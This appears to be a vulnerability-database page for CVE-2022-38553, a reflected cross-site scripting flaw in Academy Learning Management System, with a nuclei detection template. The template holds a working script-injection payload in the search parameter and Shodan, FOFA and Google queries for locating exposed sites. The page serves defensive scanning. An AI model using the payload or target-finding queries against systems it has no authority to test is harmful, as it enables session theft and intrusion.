HexBrain

Browse / CVEs / CVE-2022-38553

CVE-2022-38553· creativeitem / academy learning management system· CWE-79

Academy Learning Management System <5.9.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3%likelihood of exploitation, next 30 days
87%of all CVEs are less likely
Readycheck to confirm it

Academy Learning Management System before 5.9.1 contains a cross-site scripting vulnerability via the Search parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to Academy Learning Management System version 5.9.1 or later to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "\"><script>alert(document.domain)</script>" and "Study any topic" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-38553 -u <target>

The full check
id: CVE-2022-38553

info:
  name: Academy Learning Management System <5.9.1 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
    Academy Learning Management System before 5.9.1 contains a cross-site scripting vulnerability via the Search parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to Academy Learning Management System version 5.9.1 or later to mitigate the XSS vulnerability.
  reference:
    - https://www.youtube.com/watch?v=yFiZffHoeKs&ab_channel=4websecurity
    - https://github.com/4websecurity/CVE-2022-38553
    - https://codecanyon.net/item/academy-course-based-learning-management-system/22703468
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38553
    - http://academy.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-38553
    cwe-id: CWE-79
    epss-score: 0.02987
    epss-percentile: 0.87419
    cpe: cpe:2.3:a:creativeitem:academy_learning_management_system:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: creativeitem
    product: academy_learning_management_system
    shodan-query: http.html:"study any topic, anytime"
    fofa-query: body="study any topic, anytime"
    google-query:
      - intext:"Study any topic, anytime"
      - intext:"study any topic, anytime"
  tags: cve2022,cve,academylms,xss,creativeitem,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>'
          - 'Study any topic'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from